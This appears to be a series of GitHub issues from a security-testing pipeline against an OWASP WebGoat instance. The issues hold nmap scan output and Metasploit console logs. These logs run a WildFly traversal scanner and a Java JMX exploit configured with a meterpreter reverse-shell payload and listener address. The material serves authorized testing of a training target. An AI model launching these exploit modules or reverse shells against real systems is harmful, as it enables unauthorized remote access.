Target Web Goat Instance IP Address : 20.204.4.44

Possible Metasploit exploits or auxiliaries or payloads, that can used for attacking

=====

Sample attack executions from msfconsole CLI >>>

Sample 1 : Running Wildfly directory traversal auxillary attack ... >>>

[\*] Processing ./src/exploitwildflydir\_traversal.rc for ERB directives.

resource (./src/exploitwildflydirtraversal.rc)> use auxiliary/scanner/http/wildflytraversal

resource (./src/exploitwildflydir\_traversal.rc)> show options

Module options (auxiliary/scanner/http/wildfly\_traversal):

Name	Current	Setting	Required	Description
------	---------	---------	----------	-------------

-----

Proxies	no	A proxy chain of format type:host:port[,type:host:port][...]		
---------	----	--------------------------------------------------------------	--	--

RELATIVEFILEPATH	standalone			
------------------	------------	--	--	--

RHOSTS	yes	The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a>		
--------	-----	-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------	--	--

RPORT	8080	yes	The target port (TCP)	
-------	------	-----	-----------------------	--

SSL	false	no	Negotiate SSL/TLS for outgoing connections	
-----	-------	----	--------------------------------------------	--

THREADS 1 yes The number of concurrent threads (max one per host)

TRAVERSAL\_DEPTH 1 yes Traversal depth

VHOST no HTTP server virtual host

View the full module info with the info, or info -d command.

[\*] resource (./src/exploitwildflydir\_traversal.rc)> Ruby Code (57 bytes)

RHOSTS =>

resource (./src/exploitwildflydir\_traversal.rc)> run

[-] Msf::OptionValidateError The following options failed to validate: RHOSTS

resource (./src/exploitwildflydir\_traversal.rc)> exit

-----  
Sample 2 : Running Java JMX Reverse HTTPS command shell exploit... >>>

[\*] Processing ./src/exploitjavajmxreversehttps.rc for ERB directives.

resource (./src/exploitjavajmxreversehttps.rc)> use exploit/multi/misc/javajmxserver

[\*] No payload configured, defaulting to java/meterpreter/reverse\_tcp

resource (./src/exploitjavajmxreversehttps.rc)> show options

Module options (exploit/multi/misc/javajmxserver):

Name Current Setting Required Description

-----  
JMXRMI jmxrmi yes The name where the JMX RMI interface is bound

JMX\_PASSWORD no The password to interact with an authenticated JMX endpoint

JMX\_ROLE no The role to interact with an authenticated JMX endpoint

RHOSTS yes The target host(s), see <https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html>

RPORT yes The target port (TCP)

SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.

SRVPORT 8080 yes The local port to listen on.

SSLCert no Path to a custom SSL certificate (default is randomly generated)

URIPATH no The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse\_tcp):

Name Current Setting Required Description

-----  
LHOST 172.17.0.2 yes The listen address (an interface may be specified)

LPORT 4444 yes The listen port

Exploit target:

Id Name

---

0 Generic (Java Payload)

View the full module info with the info, or info -d command.

[\*] resource (./src/exploit/javajmxreversehttps.rc)> Ruby Code (57 bytes)

RHOSTS =>

resource (./src/exploit/javajmxreversehttps.rc)> use payload/java/meterpreter/  
reverse\_https

resource (./src/exploit/javajmxreversehttps.rc)> exploit

[\*] Payload Handler Started as Job

resource (./src/exploit/javajmxreversehttps.rc)> exit

=====

# Priority-Medium Nmap-ParrotOS Scan output

GitHub Issue number # 658

GitHub Issue URL : [Here!](#)

**parrotOS**  
**nmap**  
**"priority Medium"**

Nmap vulnerability scanning  
for 20.204.4.44

Making sure that parrot OS docker image has all the latest updates...

Ign:1 https://deb.parrot.sh/parrot parrot InRelease

Get:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease [14.3 kB]

Get:3 https://deb.parrot.sh/parrot parrot-backports InRelease [14.5 kB]

Get:1 https://deb.parrot.sh/parrot parrot InRelease [14.6 kB]

Get:4 https://deb.parrot.sh/direct/parrot parrot-security/main amd64 Packages [519 kB]

Ign:5 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages

Get:6 https://deb.parrot.sh/parrot parrot-backports/main amd64 Packages [1107 kB]

Get:7 https://deb.parrot.sh/parrot parrot-backports/contrib amd64 Packages [19.8 kB]

Get:8 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages [50.9 kB]

Get:9 https://deb.parrot.sh/parrot parrot/main amd64 Packages [17.6 MB]

Ign:10 https://deb.parrot.sh/parrot parrot/contrib amd64 Packages

Get:11 https://deb.parrot.sh/parrot parrot/non-free amd64 Packages [214 kB]

Get:5 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages [884 B]

Get:10 https://deb.parrot.sh/parrot parrot/contrib amd64 Packages [107 kB]

Fetched 19.6 MB in 1min 3s (312 kB/s)

Reading package lists...

Building dependency tree...

Reading state information...

49 packages can be upgraded. Run 'apt list --upgradable' to see them.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9libs cpio curl dnsutils dpkg dpkg-dev file  
libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev  
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2  
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0  
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3  
libx11-6 libx11-data libxpm4 locales openssl-client openssl-server  
openssl-sftp-server openssl postgresql postgresql-13 postgresql-client-13  
postgresql-client-common postgresql-common python3-certifi  
python3-typing-extensions

49 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 49.8 MB of archives.

After this operation, 38.9 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9libs cpio curl dnsutils dpkg dpkg-dev file  
libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev  
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2  
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0  
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3  
libx11-6 libx11-data libxpm4 locales openssl-client openssl-server  
openssl-sftp-server openssl postgresql postgresql-13 postgresql-client-13  
postgresql-client-common postgresql-common python3-certifi  
python3-typing-extensions

49 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 49.8 MB of archives.

After this operation, 38.9 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Hit:1 <https://deb.parrot.sh/parrot> parrot InRelease

Hit:2 <https://deb.parrot.sh/direct/parrot> parrot-security InRelease

Hit:3 <https://deb.parrot.sh/parrot> parrot-backports InRelease

Reading package lists...

Building dependency tree...

Reading state information...

49 packages can be upgraded. Run 'apt list --upgradable' to see them.

Running basic nmap scan...

Starting Nmap 7.92 ( <https://nmap.org> ) at 2023-11-06 16:09 UTC

Nmap scan report for 20.204.4.44

Host is up (0.22s latency).

Not shown: 65530 filtered tcp ports (no-response)

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 256 c3:b1:50:24:dd:77:f6:98:25:5d:60:f4:bc:44:ac:de (ECDSA)

|\_ 256 86:f1:a9:e5:6b:92:b2:33:70:ae:bc:7c:ed:cb:4c:ab (ED25519)

80/tcp closed http

443/tcp closed https

8080/tcp open http-proxy

| fingerprint-strings:

| FourOhFourRequest:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

| Date: Mon, 06 Nov 2023 16:13:31 GMT

| GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, Socks5, TLSSessionReq, TerminalServerCookie, WMSRequest, oracle-tns:

| HTTP/1.1 400 Bad Request

| Content-Length: 0

| Connection: close



| GetRequest, HTTPOptions:  
| HTTP/1.1 404 Not Found  
| Connection: close  
| Content-Length: 0  
|\_ Date: Mon, 06 Nov 2023 16:13:30 GMT  
|\_http-title: Site doesn't have a title.  
9090/tcp open zeus-admin?  
| fingerprint-strings:  
| GenericLines, RTSPRequest, SqueezeCenter\_CLI, WMSRequest, ibm-db2-das:  
| HTTP/1.1 400 Bad Request  
| Content-Length: 0  
| Connection: close  
| GetRequest:  
| HTTP/1.1 404 Not Found  
| Expires: 0  
| Cache-Control: no-cache, no-store, max-age=0, must-revalidate  
| X-XSS-Protection: 1; mode=block  
| Pragma: no-cache  
| X-Frame-Options: DENY  
| Date: Mon, 06 Nov 2023 16:13:30 GMT  
| Connection: close  
| Vary: Origin  
| Vary: Access-Control-Request-Method  
| Vary: Access-Control-Request-Headers  
| X-Content-Type-Options: nosniff  
| Content-Type: application/json  
| "timestamp" : "2023-11-06T16:13:30.201+00:00",  
| "status" : 404,  
| "error" : "Not Found",  
| "path" : "/"  
| HTTPOptions:  
| HTTP/1.1 404 Not Found

| Expires: 0  
| Cache-Control: no-cache, no-store, max-age=0, must-revalidate  
| X-XSS-Protection: 1; mode=block  
| Pragma: no-cache  
| X-Frame-Options: DENY  
| Date: Mon, 06 Nov 2023 16:13:48 GMT  
| Allow: GET, HEAD, POST, PUT, DELETE, TRACE, OPTIONS, PATCH  
| Connection: close  
| Vary: Origin  
| Vary: Access-Control-Request-Method  
| Vary: Access-Control-Request-Headers  
| X-Content-Type-Options: nosniff  
| Content-Type: application/json  
| "timestamp" : "2023-11-06T16:13:48.060+00:00",  
| "status" : 404,  
| "error" : "Not Found",  
|\_ "path" : "/"

2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at <https://nmap.org/cgi-bin/submit.cgi?new-service> :

=====NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)=====

SF-Port8080-TCP:V=7.92%I=7%D=11/6%Time=654910AA%P=x86\_64-pc-linux-gnu%(Ge

SF:tRequest,65,"HTTP/1.1 404 Not Found Connection: close

SF: Content-Length: 0 Date: Mon, 06 Nov 2023 16:13:3

SF:0 GMT

")%(HTTPOptions,65,"HTTP/1.1 404 Not Found

SF: Connection: close Content-Length: 0 Date: Mon, 06\x

SF:20Nov 2023 16:13:30 GMT

")%(RTSPRequest,42,"HTTP/1.1\n

SF:x20400 Bad Request Content-Length: 0 Connection: clos

SF:e

")%(FourOhFourRequest,65,"HTTP/1.1 404 Not Found \n

SF:nConnection: close Content-Length: 0 Date: Mon, 06  
SF:0Nov 2023 16:13:31 GMT  
")%r(Socks5,42,"HTTP/1.1 400  
SF: Bad Request Content-Length: 0 Connection: close \n  
SF:r ")%r(GenericLines,42,"HTTP/1.1 400 Bad Request Content-  
SF:Length: 0 Connection: close  
")%r(Help,42,"HTTP/1.1  
SF:400 Bad Request Content-Length: 0 Connection: close  
SF:  
")%r(SSLSessionReq,42,"HTTP/1.1 400 Bad Request Cont  
SF:ent-Length: 0 Connection: close  
")%r(TerminalServerCook  
SF:ie,42,"HTTP/1.1 400 Bad Request Content-Length: 0 Co  
SF:nnection: close  
")%r(TLSSessionReq,42,"HTTP/1.1 400 Ba  
SF:d Request Content-Length: 0 Connection: close  
")%  
SF:r(Kerberos,42,"HTTP/1.1 400 Bad Request Content-Length:  
SF:00 Connection: close  
")%r(SMBProgNeg,42,"HTTP/1.1 400\n  
SF:x20Bad Request Content-Length: 0 Connection: close  
SF: ")%r(LPDString,42,"HTTP/1.1 400 Bad Request Content-Leng  
SF:th: 0 Connection: close  
")%r(LDAPSearchReq,42,"HTTP/1.  
SF:1 400 Bad Request Content-Length: 0 Connection: cl  
SF:ose  
")%r(SIPOptions,42,"HTTP/1.1 400 Bad Request Co  
SF:ntent-Length: 0 Connection: close  
")%r(WMSRequest,42,"H  
SF:TTP/1.1 400 Bad Request Content-Length: 0 Connection  
SF:: close  
")%r(oracle-tns,42,"HTTP/1.1 400 Bad Reques

SF:t Content-Length: 0 Connection: close  
");  
=====NEXT SERVICE FINGERPRINT (SUBMIT  
INDIVIDUALLY)=====

SF-Port9090-TCP:V=7.92%l=7%D=11/6%Time=654910AA%P=x86\_64-pc-linux-  
gnu%(Ge

SF:tRequest,1EF,"HTTP/1.1 404 Not Found Expires: 0 Cach  
SF:e-Control: no-cache, no-store, max-age=0, must-revalidate  
SF: X-XSS-Protection: 1; mode=block Pragma: no-cache X-Fra  
SF:me-Options: DENY Date: Mon, 06 Nov 2023 16:13:30\x  
SF:20GMT Connection: close Vary: Origin Vary: Access-Con  
SF:trol-Request-Method Vary: Access-Control-Request-Headers X-Con  
SF:tent-Type-Options: nosniff Content-Type: application/json \n  
SF:r { \"timestamp\" : \"2023-11-06T16:13:30.201+00:00\"  
SF:, \"status\" : 404, \"error\" : \"Not  
SF:Found\", \"path\" : \"/\n\" }\"}%r(WMSRequest,42,\"HTTP/1.  
SF:1 400 Bad Request Content-Length: 0 Connection: cl  
SF:ose  
\")%r(ibm-db2-das,42,\"HTTP/1.1 400 Bad Request C  
SF:ontent-Length: 0 Connection: close  
\")%r(SqueezeCenter\_C  
SF:LI,42,\"HTTP/1.1 400 Bad Request Content-Length: 0 Co  
SF:nnection: close  
\")%r(GenericLines,42,\"HTTP/1.1 400 Bad  
SF: Request Content-Length: 0 Connection: close  
\")%r  
SF:(HTTPOptions,22B,\"HTTP/1.1 404 Not Found Expires: 0  
SF:Cache-Control: no-cache, no-store, max-age=0, must-revalida  
SF:te X-XSS-Protection: 1; mode=block Pragma: no-cache X  
SF:-Frame-Options: DENY Date: Mon, 06 Nov 2023 16:13:  
SF:48 GMT Allow: GET, HEAD, POST, PUT, DELETE, TRA  
SF:CE, OPTIONS, PATCH Connection: close Vary: Origin  
SF:Vary: Access-Control-Request-Method Vary: Access-Control-Reque

SF:st-Headers X-Content-Type-Options: nosniff Content-Type: ap

SF:plication/json

{ \"timestamp\" : \"2023-11-06T16:

SF:13:48.060+00:00\", \"status\" : 404, \"error\\n

SF:\" : \"Not Found\", \"path\" : \"^\" }\")%r(RTSP

SF:Request,42,\"HTTP/1.1 400 Bad Request Content-Length: 0\\n

SF:r Connection: close

\" );

Device type: general purpose|storage-misc|firewall

Running (JUST GUESSING): Linux 2.6.X|3.X|4.X (86%), Synology DiskStation Manager 5.X (86%), WatchGuard Fireware 11.X (86%), FreeBSD 6.X (85%)

OS CPE: cpe:/o:linux:linuxkernel:2.6.32 cpe:/o:linux:linuxkernel:3.10 cpe:/o:linux:linuxkernel:4.2 cpe:/o:linux:linuxkernel cpe:/a:synology:diskstation\_manager:5.1 cpe:/o:watchguard:fireware:11.8 cpe:/o:freebsd:freebsd:6.2

Aggressive OS guesses: Linux 2.6.32 (86%), Linux 2.6.32 or 3.10 (86%), Linux 2.6.39 (86%), Linux 3.10 - 3.12 (86%), Linux 3.5 (86%), Linux 4.2 (86%), Linux 4.4 (86%), Synology DiskStation Manager 5.1 (86%), WatchGuard Fireware 11.8 (86%), Linux 3.10 (85%)

No exact OS matches for host (test conditions non-ideal).

Network Distance: 2 hops

Service Info: OS: Linux; CPE: cpe:/o:linux:linux\_kernel

TRACEROUTE (using port 80/tcp)

HOP RTT ADDRESS

1 0.02 ms 172.17.0.1

2 5405.46 ms 20.204.4.44

OS and Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .

Nmap done: 1 IP address (1 host up) scanned in 360.44 seconds

Running vulnerability scanning using basic nmap scripts - SQL Injection...

Starting Nmap 7.92 ( <https://nmap.org> ) at 2023-11-06 16:15 UTC

Nmap scan report for 20.204.4.44

Host is up (0.22s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 0.82 seconds

Running vulnerability scanning using CSS nmap script...

Starting Nmap 7.92 ( <https://nmap.org> ) at 2023-11-06 16:15 UTC

Nmap scan report for 20.204.4.44

Host is up (0.22s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 1.24 seconds

# Priority High - Sonar Cloud Code Scan Report

GitHub Issue number # 657

GitHub Issue URL : [Here!](#)

**SonarCloud**  
**"priority High"**

## SonarCloud Scan for OWASP WebGoat

Go to [https://sonarcloud.io/project/overview?id=pradyumna-muppirala\\_WebGoatSAST](https://sonarcloud.io/project/overview?id=pradyumna-muppirala_WebGoatSAST) for full report of SonarCloud with Github SSO.

# Priority High - Snyk Report

GitHub Issue number # 656

GitHub Issue URL : [Here!](#)

**Snyk\_scan**  
**"priority High"**

## Snyk Scan for OWASP WebGoat

Go to <https://app.snyk.io/org/pradyumna-muppirala> for full report of Snyk with Github SSO.



# Priority High - Sonar Cloud Code Scan Report

GitHub Issue number # 655

GitHub Issue URL : [Here!](#)

**SonarCloud**  
**"priority High"**

## SonarCloud Scan for OWASP WebGoat

Go to [https://sonarcloud.io/project/overview?id=pradyumna-muppirala\\_WebGoatSAST](https://sonarcloud.io/project/overview?id=pradyumna-muppirala_WebGoatSAST) for full report of SonarCloud with Github SSO.

# Priority High - Snyk Report

GitHub Issue number # 654

GitHub Issue URL : [Here!](#)

**Snyk\_scan**  
**"priority High"**

## Snyk Scan for OWASP WebGoat

Go to <https://app.snyk.io/org/pradyumna-muppirala> for full report of Snyk with Github SSO.

# Priority-High Metasploit-ParrotOS Test output

GitHub Issue number # 653

GitHub Issue URL : [Here!](#)

**parrotOS**  
**metasploit**  
**"priority High"**

Interactive Application Security Testing :

Making sure that parrot OS docker image has all the latest updates...

Get:1 https://deb.parrot.sh/parrot parrot InRelease [14.6 kB]

Get:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease [14.3 kB]

Get:3 https://deb.parrot.sh/parrot parrot-backports InRelease [14.5 kB]

Get:4 https://deb.parrot.sh/parrot parrot/main amd64 Packages [17.6 MB]

Get:5 https://deb.parrot.sh/parrot parrot/contrib amd64 Packages [107 kB]

Get:6 https://deb.parrot.sh/parrot parrot/non-free amd64 Packages [214 kB]

Get:7 https://deb.parrot.sh/direct/parrot parrot-security/main amd64 Packages [519 kB]

Get:8 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages [884 B]

Get:9 https://deb.parrot.sh/parrot parrot-backports/main amd64 Packages [1107 kB]

Get:10 https://deb.parrot.sh/parrot parrot-backports/contrib amd64 Packages [19.8 kB]

Get:11 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages [50.9 kB]

Fetchd 19.6 MB in 57s (347 kB/s)

Reading package lists...

Building dependency tree...

Reading state information...

49 packages can be upgraded. Run 'apt list --upgradable' to see them.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file

libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev  
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2  
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0  
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3  
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server  
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13  
postgresql-client-common postgresql-common python3-certifi  
python3-typing-extensions

49 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 49.8 MB of archives.

After this operation, 38.9 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file  
libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev  
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2  
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0  
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3  
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server  
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13  
postgresql-client-common postgresql-common python3-certifi  
python3-typing-extensions

49 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 49.8 MB of archives.

After this operation, 38.9 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Hit:1 <https://deb.parrot.sh/parrot> parrot InRelease

Hit:2 <https://deb.parrot.sh/direct/parrot> parrot-security InRelease

Hit:3 https://deb.parrot.sh/parrot parrot-backports InRelease

Reading package lists...

Building dependency tree...

Reading state information...

49 packages can be upgraded. Run 'apt list --upgradable' to see them.

Cleaning up any existing old code copies of security tests...

This is not a secure way to check out code;

Getting the latest code copy for all security tests...

=====

Metasploit Framework Exploit Demo :

=====

Target Web Goat Instance IP Address : 20.204.4.44

Possible Metasploit exploits or auxiliaries or payloads, that can used for attacking

=====

Sample attack executions from msfconsole CLI >>>

Sample 1 : Running Wildfly directory traversal auxillary attack ... >>>

[\*] Processing ./src/exploitwildflydir\_traversal.rc for ERB directives.

resource (./src/exploitwildflydirtraversal.rc)> use auxiliary/scanner/http/wildflytraversal

resource (./src/exploitwildflydir\_traversal.rc)> show options

Module options (auxiliary/scanner/http/wildfly\_traversal):

Name Current Setting Required Description

-----

Proxies no A proxy chain of format type:host:port[,type:host:port][...]

RELATIVEFILEPATH standalone

RHOSTS yes The target host(s), see <https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html>

RPORT 8080 yes The target port (TCP)

SSL false no Negotiate SSL/TLS for outgoing connections

THREADS 1 yes The number of concurrent threads (max one per host)

TRAVERSAL\_DEPTH 1 yes Traversal depth

VHOST no HTTP server virtual host

View the full module info with the info, or info -d command.

[\*] resource (./src/exploitwildflydir\_traversal.rc)> Ruby Code (57 bytes)

RHOSTS =>

resource (./src/exploitwildflydir\_traversal.rc)> run

[ - ] Msf::OptionValidateError The following options failed to validate: RHOSTS

resource (./src/exploitwildflydir\_traversal.rc)> exit

-----

Sample 2 : Running Java JMX Reverse HTTPS command shell exploit... >>>

[\*] Processing ./src/exploitjavajmxreversehttps.rc for ERB directives.

resource (./src/exploitjavajmxreversehttps.rc)> use exploit/multi/misc/javajmxserver

[\*] No payload configured, defaulting to java/meterpreter/reverse\_tcp

resource (./src/exploitjavajmxreversehttps.rc)> show options

Module options (exploit/multi/misc/javajmxserver):

Name	Current	Setting	Required	Description
------	---------	---------	----------	-------------

JMXRMI	jmxrmi	yes	The name where the JMX RMI interface is bound
--------	--------	-----	-----------------------------------------------

JMX_PASSWORD	no	The password to interact with an authenticated JMX endpoint
--------------	----	-------------------------------------------------------------

JMX_ROLE	no	The role to interact with an authenticated JMX endpoint
----------	----	---------------------------------------------------------

RHOSTS	yes	The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a>
--------	-----	-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

RPORT	yes	The target port (TCP)
-------	-----	-----------------------

SRVHOST	0.0.0.0	yes	The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
---------	---------	-----	---------------------------------------------------------------------------------------------------------------------------------------

SRVPORT	8080	yes	The local port to listen on.
---------	------	-----	------------------------------

SSLCert	no	Path to a custom SSL certificate (default is randomly generated)
---------	----	------------------------------------------------------------------

URIPATH	no	The URI to use for this exploit (default is random)
---------	----	-----------------------------------------------------

Payload options (java/meterpreter/reverse\_tcp):

Name	Current	Setting	Required	Description
------	---------	---------	----------	-------------

LHOST	172.17.0.2	yes	The listen address (an interface may be specified)
-------	------------	-----	----------------------------------------------------

LPORT	4444	yes	The listen port
-------	------	-----	-----------------

Exploit target:

Id	Name
----	------

---

0	Generic (Java Payload)
---	------------------------

View the full module info with the info, or info -d command.

```
[*] resource (./src/exploit/javajmxreversehttps.rc)> Ruby Code (57 bytes)
```

```
RHOSTS =>
```

```
resource (./src/exploit/javajmxreversehttps.rc)> use payload/java/meterpreter/  
reverse_https
```

```
resource (./src/exploit/javajmxreversehttps.rc)> exploit
```

```
[*] Payload Handler Started as Job
```

```
resource (./src/exploit/javajmxreversehttps.rc)> exit
```

=====

# Priority-Medium Nmap-ParrotOS Scan output

GitHub Issue number # 652

GitHub Issue URL : [Here!](#)

**parrotOS**  
**nmap**  
**"priority Medium"**

Nmap vulnerability scanning  
for 20.204.4.44

Making sure that parrot OS docker image has all the latest updates...

Get:1 https://deb.parrot.sh/parrot parrot InRelease [14.6 kB]

Get:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease [14.3 kB]

Get:3 https://deb.parrot.sh/parrot parrot-backports InRelease [14.5 kB]

Get:4 https://deb.parrot.sh/parrot parrot/main amd64 Packages [17.6 MB]

Get:5 https://deb.parrot.sh/parrot parrot/contrib amd64 Packages [107 kB]

Get:6 https://deb.parrot.sh/parrot parrot/non-free amd64 Packages [214 kB]

Get:7 https://deb.parrot.sh/direct/parrot parrot-security/main amd64 Packages [519 kB]

Get:8 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages [884 B]

Get:9 https://deb.parrot.sh/parrot parrot-backports/main amd64 Packages [1107 kB]

Get:10 https://deb.parrot.sh/parrot parrot-backports/contrib amd64 Packages [19.8 kB]

Get:11 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages [50.9 kB]

Fetchd 19.6 MB in 1min 1s (323 kB/s)

Reading package lists...

Building dependency tree...

Reading state information...

49 packages can be upgraded. Run 'apt list --upgradable' to see them.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file



libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev  
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2  
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0  
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3  
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server  
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13  
postgresql-client-common postgresql-common python3-certifi  
python3-typing-extensions

49 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 49.8 MB of archives.

After this operation, 38.9 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file  
libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev  
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2  
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0  
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3  
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server  
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13  
postgresql-client-common postgresql-common python3-certifi  
python3-typing-extensions

49 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 49.8 MB of archives.

After this operation, 38.9 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Hit:1 <https://deb.parrot.sh/parrot> parrot InRelease

Hit:2 <https://deb.parrot.sh/direct/parrot> parrot-security InRelease

Hit:3 <https://deb.parrot.sh/parrot-parrot-backports> InRelease  
Reading package lists...  
Building dependency tree...  
Reading state information...  
49 packages can be upgraded. Run 'apt list --upgradable' to see them.  
Running basic nmap scan...  
Starting Nmap 7.92 ( <https://nmap.org> ) at 2023-11-06 15:43 UTC  
Nmap scan report for 20.204.4.44  
Host is up (0.20s latency).  
Not shown: 65530 filtered tcp ports (no-response)  
PORT STATE SERVICE VERSION  
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)  
| ssh-hostkey:  
| 256 c3:b1:50:24:dd:77:f6:98:25:5d:60:f4:bc:44:ac:de (ECDSA)  
|\_ 256 86:f1:a9:e5:6b:92:b2:33:70:ae:bc:7c:ed:cb:4c:ab (ED25519)  
80/tcp closed http  
443/tcp closed https  
8080/tcp open http-proxy  
| fingerprint-strings:  
| FourOhFourRequest, HTTPOptions:  
| HTTP/1.1 404 Not Found  
| Connection: close  
| Content-Length: 0  
| Date: Mon, 06 Nov 2023 15:47:10 GMT  
| GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SIPOptions,  
SMBProgNeg, SSLSessionReq, Socks5, TLSSessionReq, TerminalServerCookie,  
WMSRequest, oracle-tns:  
| HTTP/1.1 400 Bad Request  
| Content-Length: 0  
| Connection: close  
| GetRequest:  
| HTTP/1.1 404 Not Found  
| Connection: close

| Content-Length: 0  
|\_ Date: Mon, 06 Nov 2023 15:47:09 GMT  
|\_http-title: Site doesn't have a title.  
9090/tcp open zeus-admin?  
| fingerprint-strings:  
| GenericLines, RTSPRequest, SqueezeCenter\_CLI, WMSRequest, ibm-db2-das:  
| HTTP/1.1 400 Bad Request  
| Content-Length: 0  
| Connection: close  
| GetRequest:  
| HTTP/1.1 404 Not Found  
| Expires: 0  
| Cache-Control: no-cache, no-store, max-age=0, must-revalidate  
| X-XSS-Protection: 1; mode=block  
| Pragma: no-cache  
| X-Frame-Options: DENY  
| Date: Mon, 06 Nov 2023 15:47:09 GMT  
| Connection: close  
| Vary: Origin  
| Vary: Access-Control-Request-Method  
| Vary: Access-Control-Request-Headers  
| X-Content-Type-Options: nosniff  
| Content-Type: application/json  
